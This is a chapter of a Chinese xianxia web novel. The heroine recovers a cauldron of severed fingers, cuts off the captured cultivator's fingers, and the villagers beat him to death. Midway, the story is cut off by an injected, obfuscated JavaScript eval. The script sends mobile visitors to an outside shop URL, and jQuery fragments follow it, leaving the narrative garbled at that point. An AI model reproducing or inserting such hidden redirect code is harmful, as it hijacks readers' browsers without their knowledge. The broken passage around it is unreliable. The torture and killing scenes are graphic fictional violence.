花瓷挨个灌过去,每一口药液灌下去,白烟就在平原上升起一缕。

    在最后一只鬼影旁蹲下来时,那张十二岁男孩的脸正慢慢恢复血色,眼睛从空洞缓缓闭上,睫毛颤动着,终于睡着了。

    花瓷把空水壶放在一旁,把他扛上肩头,往村子走去。

    她把男孩靠在阿郎那间土屋的墙根下,解开门上的锁。

    阿郎推开门,跌跌撞撞地冲出来,跪在孩子身边。

    他的手悬在半空中,想碰又不敢碰,指尖在男孩脸颊上方停了好一会儿,才轻轻落下去:"兰生……兰生?"

    男孩的睫毛动了动,眼睛睁开一条缝,瞳孔涣散了好一会儿,才慢慢聚焦在阿郎脸上。

    "……爹?"

    阿郎把兰生的头按在自己肩膀上,肩膀剧烈抖动,哭不出声。兰生的手慢慢抬起来,抓住阿郎后背的衣裳,抓得很紧:"爹,我以为你不要我了。"

    "爹没有不要你,爹一直在找你。"

    花瓷靠在土屋的墙边,把沾着血污的手在衣摆上蹭了蹭,转过身,往枯树那边走去。

    阿郎安顿好兰生,也跟了上来。

    其他村民陆续醒来,互相搀扶着聚到枯树前。

    金展明还瘫在铁链上,方才被花瓷打晕过去,此刻尚未苏醒。

    花瓷又拎了半桶水泼在他脸上,金展明咳着醒过来,挣了一下铁链,发现浑身灵力被压制得死死的,连护体黑雾都凝聚不起来。

    花瓷从他身上摸出那只指玉骨鼎,放在地上。

    金展明的目光一触到指玉骨鼎,瞳孔缩了一下。他吼道:"不准碰——"

    "这个鼎,"花瓷打断他的话,盯着他的脸,"不止是炼化鬼影的用途吧。"

    金展明没说话了,花瓷也不需要他回答。

    她催动灵力探入鼎内,神识刚一接触鼎壁,一股阴寒之气便顺着指尖窜上手臂。

    鼎壁上嵌着一道神识印记,和金展明的灵力波动同源——是他的本命法器。

    但他此刻灵力耗尽、又被铁链捆死,神识与法器之间的联系已经虚弱到了极点。禁制布满裂纹,花瓷调动灵力一冲,便碎了。

    她将鼎口朝下一震。

    小拇指,全是小拇指,从鼎口倾泻而出,在月光下堆成一座小山。

    人群里一个妇人冲出来,扑到骨堆前。她方才一直在那些恢复人形的村民里找她儿子,已经找了很久,没有找到。

    此刻她抖着手在骨堆里翻,越翻越快,嘴里不停地念着一个名字。

    "郝宁……郝宁……"

    她停住了。

    她从骨堆里捡起一根手指,举到月光下。那根手指的指甲缝里嵌着一点洗不净的蓝靛,和她给儿子做的那件蓝布衫一个颜色。

    "这是我儿的。"她的声音尖了,"这是我儿的!我儿的手指在这儿!"

    她站起来,转头看向那些恢复人形的村民。

    "郝宁呢?我儿呢?"

    没有人应。

    阿郎走过去,蹲在骨堆旁,抬头看花瓷,又看金展明:"还有燕华、鲁立、阿勒,还有郝叔,他们咋个不在?"

    金展明靠在树干上,嘴角拉着一个弧度:"还能怎么,他们自个弱,炼化到一半就撑不住了。连鬼影都做不成,只能当废料扔了。"

    花瓷看着那座骨堆,又抬起头,盯着金展明的脸。她从骨堆里捡起一根,指甲缝里嵌着洗不净的泥灰。又捡起一根,指甲上残留着一小片剥落的红色蔻丹。

    她低头看了片刻,把它们放回去,声音很平:"两百多根,男的,女的,老人,小孩。你一人切一根,收在鼎里。金展明,我很奇怪,你是怎么看待凡人的。"

    金展明靠在树干上,嘴角拉着一个弧度:"一群割了又长,长了又割的草芥,你用得着在意?"

    他的目光在花瓷身上扫了一遍,从粗布衣裳到手里那把桃木剑,最后落在她脸上:"你到底是什么人?散修?不像,散修不会为了一个破村子跟我拼命。苍梧山的人?也不对——苍梧山的剑法我认得,不是你这样。谁派你来的?你主子是谁?"

    花瓷没有接话。

    金展明盯着她的眼睛,笑了一声,那笑声从喉咙深处挤出来,又干又哑:"还是说,你背后根本没人?没人指使你,没人给你撑腰,你自己跑来的——就为了这群蝼蚁?"他偏了偏头,语气里带着困惑,"就为了这个?"

    他不理解。

    花瓷在他的眼里看到了不解。

    他不是在嘲讽,不是在拖延时间,他是真的想不通。

    花瓷拔出桃木剑,走到金展明面前,低头看着他被铁链绑在树干上的手。

    "算了,既然你不明白,就还还你的债吧。"

    金展明嘴角的弧度僵了一瞬,花瓷把剑刃抵在他右手小拇指根部,停了一下。

    金展明的手指很脏,指甲缝里嵌着黑红色的血垢。

    她看着那只手,有点恶心。

    她想起前世实验室里的第一堂解剖课——一只被福尔马林泡得发白的手,她握着手术刀,半天没敢切下去。

    导师说,别怕,大体老师不会疼的。

    这只手不是福尔马林泡的,这只手还活着,还会疼。

    这只手切过两百多根别人的手指。

    所以她切了下去。

    金展明的惨叫炸开。

    花瓷感觉剑刃传回来的触感——皮肤,脂肪,筋膜,骨头。

    她的胃翻了一下,被她硬压下去。血溅在她脸上,温热的,然后很快变凉,她随手用衣袖抹开血迹。

    她把剑刃移到无名指根部,又切了一根。

    "才第二根就叫得这么惨,金展明,你说,你炼化他们的时候,他们是不是比你还要痛。”

    她听见自己的声音,很平,很冷。

    她不知道自己什么时候学会用这种声音说话的。

    可能是从茶馆门口听到"方圆百里再无活口"那天开始的,可能是更早,从她决定修仙那天开始的。

    金展明骂了,又惨叫了。

    花瓷听着,没有停。

    就切十根手指而已,远远不够还他的债。

    切完最后一根手指,她把桃木剑上的血用金展明的衣物擦干净,插回脚边的剑鞘里。手因为脱力不停发抖,她把发抖的手藏进袖子里。

    金展明在她身后喘息,十根断指在碎石地上淌着血。他的声音从牙缝里往外挤,嘶哑得几乎听不清:"疯女人,你这个疯女人。你祈祷不要落在我尊上手里。你以为你是救世主吗?你以为——哈。”

    他喘了好一阵,又笑了一声,那笑声像一把生锈的锯子在拉骨头,"你以为杀了我就能救人?你不懂,你根本不懂。尊上要做的事,你拦不住。你连他的一根手指都碰不到。你今天对我做的一切,来日他会十倍——百倍——还在你身上。还有你身后这个村子,每个人——"

    "他要来杀,就只管来杀好了,我等着。"

    花瓷的眼睛在夜色里如星如炬。就算霍不凡不来找她,终有一日,她也会去找他,把这笔账一笔一笔算清楚。

    她转过身,对着沉默很久的村民们说:"你们是他的苦主,他的生死,你们定,如果你们要他死,我帮你们善后。"

    没有人动。

    风从枯树的枝桠间穿过去,呜呜地响。

    "……我们就是种地的。"老张叔先开了口,声音发着抖,"从没招惹过哪个啊。"

    "可他说我们是蝼蚁,是草芥。"阿郎盯着骨堆最上面那几根手指,声音很轻,像在自言自语,"我趴在门缝头,看到起他把我娃儿带走。我喊兰生的名字,他回头看我——认不到我了。"

    有人往后退了半步,小声说:"他是修士……我们惹不起。"

    另一个声音接上来,发着抖:"他背后还有靠山。我们不杀他,他不会放过我们!杀了他,他背后的人也不会放过我们。以后咋个办嘛?"

    "能咋个办?"老张叔突然吼了一声。

    他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906513|213026||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这一嗓子把自己都吓了一跳,肩膀哆嗦了一下,声音又低了下去:"能咋个办……我们就是种地的,从没害过人啊……"

    他低下头,看着自己那双布满老茧的手。那双手握了一辈子锄头,没沾过血。

    "我儿子不是草。"那个妇人出声,她握着儿子的断指,声音不大,但每个字都像是从胸腔里硬生生剜出来的,"他叫郝宁。他怕打雷,怕黑,怕生人。他被你炼成鬼影的时候一定在喊我——你听到没得?你听到没得嘛!"

    "跟他废啥子话!"终于有人吼了出来。一块石头飞出去,砸在金展明身上,弹开了,连皮都没蹭破。锄头劈在他肩膀上,锄刃卷了口。剪刀扎进他大腿,只在衣袍上留下几个白印。

    金展明笑了:"杂草就是杂草,连伤都伤不到我。"

    花瓷盯着他,想到了主意,转过身,在人群里找到兰生。

    她蹲下来,把兰生拉到一边:"兰生,帮我一个忙。"

    兰生转身跑回土屋,不多时端出来一个碗——半碗清亮的液体。

    童子尿。

    花瓷接过碗,走到金展明面前,把那半碗童子尿泼在他身上。尿水接触到黑雾的瞬间,那些黑雾猛地一缩,滋滋作响,被烙铁烫到一样。金展明眼神终于变了,眼眶因为羞愤而发红,声音从牙缝里挤出来:"你们怎么能这么做?卑鄙——"

    一个金丹初期修士,被一个孩子的尿破了护体灵力。他这辈子被刀砍过、被火烧过、被毒侵蚀过,但从来没被人用童子尿泼过。

    在他眼里,这些命比杂草贱的人连伤他的资格都没有,更不用说用这种方式羞辱他。

    他的脸涨得通红,嘴唇在发抖,被彻底践踏了尊严。

    花瓷把空碗放在地上,低头看着他。月光从她背后照过来,把她的影子投在金展明身上:"现在轮到你是蝼蚁了。"

    人群安静了一瞬。然后那块被弹开的石头又飞了回来,

    这一次砸在金展明额角上,血顺着眉骨淌下来。

    第二块石头紧跟上来,然后是第三块,第四块。

    锄刃劈进肩膀,剪刀扎进大腿,镐头举过头顶砸在他胸口。

    老张叔每砸一下就念叨一个名字,最后变成了嘶吼。

    兰生从兜里摸出一个鸡蛋,壳上裂了缝,臭味儿隔着老远都能闻到。他把臭鸡蛋朝金展明脸上砸过去,蛋液顺着金展明的额头淌下来,混着血,糊了他半张脸。

    锄头、斧子、剪刀、石头,有什么用什么。铁器砸在肉上的闷响和嘶哑的哭骂声搅在一起。

    安静下来的时候,金展明已经不动了。

    有人松开锄头,锄刃上全是血。有人攥着剪刀蹲下来,浑身发抖。有人低头看着自己沾满血的双手,哭了。

    那个妇人把剪刀放在地上,蹲在金展明身边,看着他被砸得稀烂的脸,看了很久。然后她站起来,走回骨堆旁,把她儿子的那根小拇指捡起来,贴在胸口。

    花瓷走上前,蹲下来,把地上的小拇指一根根捡起,在枯树根下挖了个坑。那个妇人把她儿子的手指放进去,阿郎把那根婴儿的小指轻轻放在最上面。她们用手把土捧进坑里,一捧一捧,把那些小拇指埋好,用碎石压住。

    花瓷从怀里摸出一颗聚灵丹塞进嘴里,药力在丹田里化开,消耗殆尽的灵力开始缓缓回升。她调息了片刻,等灵力恢复了三四成,便站起来朝村口那口井走去。桃木剑灌入灵力,一剑劈下去,井沿炸裂,碎石崩飞,井水裹着泥沙从裂口处喷涌而出。她又劈了两剑,把井壁彻底轰塌,碎石轰隆隆地填满了井口。

    花瓷在村后那条河的上游找了处平坦的河滩,用桃木剑挖了个坑。

    灰耳朵从包袱里跳出来,也跳进坑里用前爪帮着刨土。一人一鼠刨了大半个时辰,挖出一口半人深的土井。

    她找了块平整的石板盖在井口上,又压了块木板。

    井水从河滩的砂石里渗进来,清冽透亮。

    她捧了一口尝了尝,凉的,没有那股甜腥味。